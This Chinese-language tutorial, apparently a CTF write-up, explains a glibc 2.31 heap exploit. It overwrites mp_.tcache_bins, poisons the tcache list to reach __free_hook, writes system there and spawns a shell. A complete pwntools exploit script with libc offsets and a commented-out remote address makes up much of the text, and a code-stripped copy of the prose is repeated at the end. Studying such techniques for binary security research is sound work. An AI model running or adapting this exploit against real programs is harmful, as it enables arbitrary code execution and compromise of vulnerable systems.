tcache bin中mp_结构体利用
字数 1272 2025-08-22 12:22:48

Tcache Bin中mp_结构体利用技术详解

1. 背景知识

在glibc的堆管理机制中,mp_结构体(malloc_par)是一个重要的全局变量,它包含了malloc子系统使用的各种参数和统计信息。在glibc 2.26及更高版本中,tcache(线程本地缓存)被引入以提高堆分配性能,而mp_结构体中包含了控制tcache行为的参数。

2. mp_结构体详解

mp_结构体在glibc中的定义如下(关键字段):

struct malloc_par {
    /* ... 其他字段 ... */
    size_t trim_threshold;
    size_t top_pad;
    size_t mmap_threshold;
    int arena_test;
    int arena_max;
    /* ... 其他字段 ... */
    INTERNAL_SIZE_T tcache_bins;      // 记录tcache bin的最大索引值
    INTERNAL_SIZE_T tcache_max_bytes; // tcache能处理的最大chunk大小
    INTERNAL_SIZE_T tcache_count;     // 每条单链表上最多7个chunk
    INTERNAL_SIZE_T tcache_unsorted_limit;
    /* ... 其他字段 ... */
};

关键字段解释:

  • tcache_bins:默认值为64,表示tcache bin的最大索引值
  • tcache_max_bytes:默认值为1032(0x408),表示tcache能处理的最大chunk大小
  • tcache_count:默认值为7,表示每条tcache单链表上最多存放的chunk数量

3. 利用原理

通过修改mp_结构体中的tcache_bins值,可以扩大tcache能够管理的bin范围。当tcache_bins被设置为一个足够大的值时,我们可以将更大的chunk放入tcache bin中,从而可能实现以下攻击:

  1. 将特殊地址(如__free_hook)放入tcache bin
  2. 通过tcache分配机制获取对这些特殊地址的控制权
  3. 最终实现任意地址写或代码执行

4. 利用步骤详解

4.1 泄露libc基地址

add(0x410, b'a')      #1 申请一个大于tcache_max_bytes的chunk
add(0x100, b'a')      #2 防止合并
free(1)               # 释放到unsorted bin
add(0x100, b'a'*8)    #3 重新申请,制造UAF
show(3)               # 泄露libc地址
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecfd0

4.2 计算mp_结构体地址

在glibc 2.31中:

mp_addr = libc_base + 0x1ec280 + 0x50

其中:

  • 0x1ec280mp_结构体相对于libc基地址的偏移
  • +0x50是为了定位到tcache_bins字段

4.3 修改tcache_bins

利用程序中存在的任意地址写能力,将tcache_bins修改为一个较大的值(如666666):

edit(mp_addr)  # 将666666写入mp_.tcache_bins

4.4 准备tcache bin

  1. 申请一个大chunk(大于原tcache_max_bytes但小于新设置的tcache_bins范围):
    add(0x500, b'a')
    
  2. 释放这个大chunk:
    free(4)
    

4.5 劫持tcache链表

  1. 通过堆溢出或其他方式修改tcache链表指针:
    payload = cyclic(0x68) + p64(free_hook)
    free(0)
    add(0x100, payload)
    
  2. 现在tcache链表指向了__free_hook

4.6 获取控制权并执行shell

  1. 从tcache分配__free_hook处的内存:
    add(0x500, p64(sys))
    
  2. 准备/bin/sh字符串:
    add(0x100, b'/bin/sh\x00')
    
  3. 触发free调用system("/bin/sh")
    free(7)
    

5. 防御措施

  1. 确保没有任意地址写漏洞
  2. 对mp_结构体等关键全局变量进行保护
  3. 使用最新版本的glibc,其中可能包含对这类攻击的缓解措施

6. 实际应用中的注意事项

  1. 不同glibc版本中mp_结构体的偏移可能不同
  2. tcache_bins的修改值需要根据实际情况调整
  3. 需要确保目标地址能够通过tcache的完整性检查
  4. 在真实环境中可能需要绕过更多保护机制(如指针加密)

7. 完整利用代码示例

from pwn import *

context.log_level = 'debug'
context(os='linux', arch='amd64')

io = process('./pwn')
# io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def add(sz, con):
    io.sendlineafter('choice', str(1))
    io.sendlineafter(':', str(sz))
    io.sendafter(':', con)

def show(idx):
    io.sendlineafter('choice\n', str(4))
    io.sendlineafter(':', str(idx))

def free(idx):
    io.sendlineafter('choice\n', str(2))
    io.sendlineafter(':', str(idx))

def edit(addr):
    io.sendlineafter('choice\n', str(3))
    io.sendlineafter(':', p64(addr))

# Step 1: Leak libc base
add(0x100, b'a')      #0
add(0x410, b'a')      #1
add(0x100, b'a')      #2
free(1)
add(0x100, b'a'*8)    #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecfd0

# Step 2: Calculate mp_ address and prepare target
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
mp_addr = libc_base + 0x1ec280 + 0x50

# Step 3: Modify tcache_bins
edit(mp_addr)

# Step 4: Prepare large chunk in tcache
add(0x500, b'a')      #4
free(4)

# Step 5: Hijack tcache
payload = cyclic(0x68) + p64(free_hook)
free(0)
add(0x100, payload)   #5

# Step 6: Get free_hook and write system
add(0x500, p64(sys))  #6

# Step 7: Trigger system("/bin/sh")
add(0x100, b'/bin/sh\x00') #7
free(7)

io.interactive()

通过这种技术,攻击者可以绕过tcache的限制,实现对关键内存地址的控制,最终达到任意代码执行的目的。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。

Tcache Bin中mp_ 结构体利用技术详解 1. 背景知识 在glibc的堆管理机制中,mp_ 结构体( malloc_par )是一个重要的全局变量,它包含了malloc子系统使用的各种参数和统计信息。在glibc 2.26及更高版本中,tcache(线程本地缓存)被引入以提高堆分配性能,而mp_ 结构体中包含了控制tcache行为的参数。 2. mp_ 结构体详解 mp_ 结构体在glibc中的定义如下(关键字段): 关键字段解释: tcache_bins :默认值为64,表示tcache bin的最大索引值 tcache_max_bytes :默认值为1032(0x408),表示tcache能处理的最大chunk大小 tcache_count :默认值为7,表示每条tcache单链表上最多存放的chunk数量 3. 利用原理 通过修改mp_ 结构体中的 tcache_bins 值,可以扩大tcache能够管理的bin范围。当 tcache_bins 被设置为一个足够大的值时,我们可以将更大的chunk放入tcache bin中,从而可能实现以下攻击: 将特殊地址(如 __free_hook )放入tcache bin 通过tcache分配机制获取对这些特殊地址的控制权 最终实现任意地址写或代码执行 4. 利用步骤详解 4.1 泄露libc基地址 4.2 计算mp_ 结构体地址 在glibc 2.31中: 其中: 0x1ec280 是 mp_ 结构体相对于libc基地址的偏移 +0x50 是为了定位到 tcache_bins 字段 4.3 修改tcache_ bins 利用程序中存在的任意地址写能力,将 tcache_bins 修改为一个较大的值(如666666): 4.4 准备tcache bin 申请一个大chunk(大于原tcache_ max_ bytes但小于新设置的tcache_ bins范围): 释放这个大chunk: 4.5 劫持tcache链表 通过堆溢出或其他方式修改tcache链表指针: 现在tcache链表指向了 __free_hook 4.6 获取控制权并执行shell 从tcache分配 __free_hook 处的内存: 准备 /bin/sh 字符串: 触发 free 调用 system("/bin/sh") : 5. 防御措施 确保没有任意地址写漏洞 对mp_ 结构体等关键全局变量进行保护 使用最新版本的glibc,其中可能包含对这类攻击的缓解措施 6. 实际应用中的注意事项 不同glibc版本中mp_ 结构体的偏移可能不同 tcache_bins 的修改值需要根据实际情况调整 需要确保目标地址能够通过tcache的完整性检查 在真实环境中可能需要绕过更多保护机制(如指针加密) 7. 完整利用代码示例 通过这种技术,攻击者可以绕过tcache的限制,实现对关键内存地址的控制,最终达到任意代码执行的目的。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。